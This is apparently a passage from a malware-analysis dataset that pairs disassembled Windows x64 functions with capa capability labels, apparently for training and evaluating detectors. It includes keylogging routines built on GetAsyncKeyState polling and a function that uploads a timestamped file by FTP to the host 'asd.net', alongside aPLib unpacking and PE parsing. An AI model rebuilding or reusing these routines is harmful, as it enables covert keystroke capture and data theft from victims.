joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400adc50
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
jne 0x1400adcca
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x48], rax
mov eax, 0x10
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0x100
jb 0x1400adca0
call fcn.1400bb750
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400adcd3
mov byte [0x1403bdc88], 1
jmp 0x1400adcda
mov byte [0x1403bdc88], 0
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x40]
call fcn.14000d880
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
call fcn.1400bb570
mov qword [rsp + 0x58], rax
jmp 0x1400add14
mov rax, qword [rsp + 0x28]
inc rax
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x28], rax
je 0x1400add67
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
movzx eax, byte [0x1403bdc88]
test eax, eax
jne 0x1400add4e
mov rax, qword [rsp + 0x30]
movsx eax, byte [rax]
mov ecx, eax
call qword [sym.imp.ntdll.dll_tolower]
mov rcx, qword [rsp + 0x30]
mov byte [rcx], al
jmp 0x1400add65
mov rax, qword [rsp + 0x30]
movsx eax, byte [rax]
mov ecx, eax
call qword [sym.imp.ntdll.dll_toupper]
mov rcx, qword [rsp + 0x30]
mov byte [rcx], al
jmp 0x1400add07
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x68], rax
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x22], al
mov rax, qword [rsp + 0x60]
mov rcx, rax
call fcn.140007800
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
call fcn.140006b40
mov rcx, qword [rsp + 0xa0]
call fcn.1400068f0
mov rax, qword [rsp + 0x98]
add rsp, 0x88
ret
Function at 0x1400adea0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
call fcn.140004850
lea rdx, [rsp + 0x30]
mov rcx, qword [rax + 0x28]
call qword [sym.imp.USER32.dll_ScreenToClient]
mov rax, qword [rsp + 0xc0]
add rax, 0x100
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
add rax, 0x100
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov r9, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0xa8]
call fcn.1400bb770
mov dword [rsp + 0x24], 0
jmp 0x1400adf9a
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0x100
jge 0x1400ae018
mov ecx, dword [rsp + 0x24]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400adfba
mov byte [rsp + 0x20], 1
jmp 0x1400adfbf
mov byte [rsp + 0x20], 0
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x98], rax
movsxd rax, dword [rsp + 0x24]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0x100
jb 0x1400adfe9
call fcn.1400bb750
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
movzx ecx, byte [rsp + 0x20]
mov byte [rax], cl
jmp 0x1400adf90
add rsp, 0xb8
ret
Function at 0x1400c0170
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x138
jne 0x1400c0192
mov rcx, qword [rsp + 0x40]
call fcn.1400c0270
jmp 0x1400c01a9
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jb 0x1400c01a9
mov rcx, qword [rsp + 0x40]
call fcn.1400c0340
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx + rax*8 + 8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shr rax, 0x1d
mov rcx, qword [rsp + 0x40]
and rax, qword [rcx + 0x1388]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x11
movabs rcx, 0x71d67fffeda60000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shl rax, 0x25
movabs rcx, 0xfff7eee000000000
and rax, rcx
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
shr rax, 0x2b
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret

Function at 0x1400c0270
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov qword [rsp], 0x138
jmp 0x1400c028e
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x270
jae 0x1400c032c
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 - 0x9b8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
mov rcx, qword [rcx + rdx*8 - 0x9b0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
and rax, 1
test rax, rax
je 0x1400c02f2
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x10], rax
jmp 0x1400c02fb
mov qword [rsp + 0x10], 0
mov rax, qword [rsp + 8]
shr rax, 1
xor rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
xor rax, qword [rcx + rdx*8 - 0x4d8]
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400c0283
add rsp, 0x28
ret
Function at 0x1400c0340
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x40], 0x137
mov qword [rsp + 0x48], 0x9c
mov qword [rsp], 0
jmp 0x1400c0370
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0x9c
jae 0x1400c040e
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
and rax, 1
test rax, rax
je 0x1400c03d4
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x18], rax
jmp 0x1400c03dd
mov qword [rsp + 0x18], 0
mov rax, qword [rsp + 0x10]
shr rax, 1
xor rax, qword [rsp + 0x18]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp]
xor rax, qword [rcx + rdx*8 + 0xea8]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400c0365
mov qword [rsp + 8], 0x9c
jmp 0x1400c0426
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x137
jae 0x1400c04c9
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 8]
mov rax, qword [rax + rcx*8 + 0x9c8]
and rax, 0xffffffff80000000
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 8]
mov rcx, qword [rcx + rdx*8 + 0x9d0]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
and rax, 1
test rax, rax
je 0x1400c048d
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x28], rax
jmp 0x1400c0496
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x20]
shr rax, 1
xor rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 8]
xor rax, qword [rcx + rdx*8 - 0x4d8]
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400c0419
mov qword [rsp + 0x50], 0x137
mov eax, 8
imul rax, rax, 0x26f
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx + rax + 8]
and rax, 0xffffffff80000000
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rdx + rcx + 8]
and rcx, 0x7fffffff
or rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
and rax, 1
test rax, rax
je 0x1400c052f
movabs rax, 0xb5026f5aa96619e9
mov qword [rsp + 0x38], rax
jmp 0x1400c0538
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x30]
shr rax, 1
xor rax, qword [rsp + 0x38]
mov ecx, 8
imul rcx, rcx, 0x9b
mov rdx, qword [rsp + 0x70]
xor rax, qword [rdx + rcx + 8]
mov ecx, 8
imul rcx, rcx, 0x137
mov rdx, qword [rsp + 0x70]
mov qword [rdx + rcx + 8], rax
mov rax, qword [rsp + 0x70]
mov dword [rax], 0
add rsp, 0x68
ret

Function at 0x1400c6bf0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c6c3a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c6c3a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c6c3a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c6c3a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c6c3a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400c6c3c
xor al, al
add rsp, 0x28
ret
Function at 0x140003170
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14003e010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000319d
xor eax, eax
jmp 0x1400032e3
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400031d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400031d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x1400032e3
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x1400032d6
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000321a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003229
movsx ecx, dil
jmp 0x14000327d
lea r8, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov rax, qword [rcx]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x38], r8
lea r9, [rsp + 0x51]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], r8
lea r8, [rsp + 0x58]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x48]
mov qword [rsp + 0x20], r8
lea r8, [rsp + 0x50]
call qword [rax + 0x38]
test eax, eax
js 0x1400032d6
cmp eax, 1
jle 0x140003297
cmp eax, 3
jne 0x1400032d6
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call fcn.14000d9c8
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x1400032db
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x1400032c4
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call fcn.14000e570
cmp rsi, rax
jne 0x1400032d6
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x1400032db
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004750
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x140004670
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x14003e010]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x68]
call fcn.140007a60
mov eax, 1
mov dword [rsp + 0x70], 0x68
mov dword [rsp + 0xac], eax
xor r9d, r9d
mov word [rsp + 0xb0], ax
xor r8d, r8d
lea rax, [rsp + 0x50]
mov rdx, rbx
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140004715
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140004717
xor al, al
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140004750
add rsp, 0xf0
pop rbx
ret

Function at 0x14000d9a4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000d7d0
Function at 0x140001938
Capabilities:
Terminate process

Disassembly:
jmp 0x14001a1f0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140001b45
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001b580
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001b5a0
xor al, al
jmp 0x14001b621
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001b5b3
xor al, al
jmp 0x14001b621
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001b5dd
xor al, al
jmp 0x14001b621
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001b5f1
xor al, al
jmp 0x14001b621
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001b603
xor al, al
jmp 0x14001b621
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001b61f
xor al, al
jmp 0x14001b621
mov al, 1
add rsp, 0x38
ret
Function at 0x140001ea6
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x140009420
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xd0
lea rdi, [rsp + 0x20]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xa8], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x24]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400094af
mov rcx, qword [rsp + 0xe0]
call fcn.1400016cc
mov eax, dword [rsp + 0xa8]
or eax, 1
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0xe0]
jmp 0x140009567
lea rcx, [rsp + 0x48]
call fcn.1400016cc
nop
mov dword [rsp + 0x74], 1
jmp 0x1400094ce
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x74], eax
jge 0x140009527
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx + rax*8]
lea rcx, [rsp + 0x78]
call fcn.140001b77
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x48]
call fcn.1400015c8
nop
lea rcx, [rsp + 0x78]
call fcn.140001320
jmp 0x1400094c4
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xe0]
call fcn.140001f64
mov eax, dword [rsp + 0xa8]
or eax, 1
mov dword [rsp + 0xa8], eax
lea rcx, [rsp + 0x48]
call fcn.140001f91
mov rax, qword [rsp + 0xe0]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140024758]
call fcn.140001d57
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14000182a
add rsp, 0xd0
pop rdi
ret
Function at 0x140009420
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x140009420
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xd0
lea rdi, [rsp + 0x20]
mov ecx, 0x2c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [0x14002e008]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xa8], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rsp + 0x24]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x1400094af
mov rcx, qword [rsp + 0xe0]
call fcn.1400016cc
mov eax, dword [rsp + 0xa8]
or eax, 1
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0xe0]
jmp 0x140009567
lea rcx, [rsp + 0x48]
call fcn.1400016cc
nop
mov dword [rsp + 0x74], 1
jmp 0x1400094ce
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x24]
cmp dword [rsp + 0x74], eax
jge 0x140009527
movsxd rax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rcx + rax*8]
lea rcx, [rsp + 0x78]
call fcn.140001b77
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x48]
call fcn.1400015c8
nop
lea rcx, [rsp + 0x78]
call fcn.140001320
jmp 0x1400094c4
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xe0]
call fcn.140001f64
mov eax, dword [rsp + 0xa8]
or eax, 1
mov dword [rsp + 0xa8], eax
lea rcx, [rsp + 0x48]
call fcn.140001f91
mov rax, qword [rsp + 0xe0]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140024758]
call fcn.140001d57
mov rax, rdi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14000182a
add rsp, 0xd0
pop rdi
ret
Function at 0x140001092
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
sub rsp, 0x38
xor rax, rax
mov rax, 0x10000000
xor r9, r9
mov qword [rsp + 0x20], r9
lea rcx, [0x1400049c8]
xor rdx, rdx
xor r8, r8
call sub.WININET.dll_InternetOpenA
call fcn.140001000
sub rsp, 0x40
mov rcx, rax
lea rdx, str.asd.net
mov r8, 0x15
lea r9, [0x1400049cc]
lea rax, [0x1400049d0]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
mov qword [rsp + 0x30], 0x8000000
mov qword [rsp + 0x38], 0
call sub.WININET.dll_InternetConnectA
add rsp, 0x40
mov qword [0x1400049dc], rax
mov rcx, qword [0x1400049dc]
lea rdx, [0x140004876]
call sub.WININET.dll_FtpCreateDirectoryA
call fcn.140001000
lea rbx, [0x140004876]
inc rbx
mov al, byte [rbx]
cmp al, 0
jne 0x140001131
mov byte [rbx], 0x2f
inc rbx
lea rcx, [0x140004a39]
call sub.KERNEL32.dll_GetSystemTime
xor rax, rax
lea rcx, [0x140004a39]
mov ax, word [rcx]
call fcn.140001033
mov byte [rbx], 0x5f
inc rbx
xor rax, rax
mov al, byte [rcx + 2]
call fcn.140001033
mov byte [rbx], 0x5f
inc rbx
xor rax, rax
mov al, byte [rcx + 6]
call fcn.140001033
mov byte [rbx], 0x5f
inc rbx
xor rax, rax
mov al, byte [rcx + 8]
call fcn.140001033
mov byte [rbx], 0x3a
inc rbx
xor rax, rax
mov al, byte [rcx + 0xa]
call fcn.140001033
mov byte [rbx], 0x2e
inc rbx
mov rax, 0x747874
mov qword [rbx], rax
lea r12, [0x140003097]
sub rsp, 0x20
mov rcx, qword [0x1400049dc]
lea rdx, [0x140004524]
lea r8, [0x140004876]
mov r9, 2
mov qword [rsp + 0x20], 0
call sub.WININET.dll_FtpPutFileA
add rsp, 0x20
call fcn.140001000
mov rcx, qword [0x1400049dc]
call sub.WININET.dll_InternetCloseHandle
add rsp, 0x38
ret
Function at 0x14056e058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14056e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14056e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14056e06f
add dl, dl
jne 0x14056e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14056e0f6
xor eax, eax
add dl, dl
jne 0x14056e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14056e1ad
add dl, dl
jne 0x14056e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14056e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14056e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14056e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14056e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14056e07e
mov eax, 1
add dl, dl
jne 0x14056e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14056e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14056e0fb
sub eax, ebx
mov ebx, 1
jne 0x14056e14c
mov ecx, 1
add dl, dl
jne 0x14056e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14056e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14056e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14056e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14056e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14056e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14056e15d
cmp eax, 0x7d00
jae 0x14056e19b
cmp eax, 0x500
jb 0x14056e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14056e07e
cmp eax, 0x7f
ja 0x14056e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14056e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14056e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14056e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000c6bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14002b098]
test rax, rax
je 0x14000c706
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c706
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c706
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c706
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c706
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c708
xor al, al
add rsp, 0x28
ret

Function at 0x140019fac
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140019da8

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000a008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000a008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000a008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
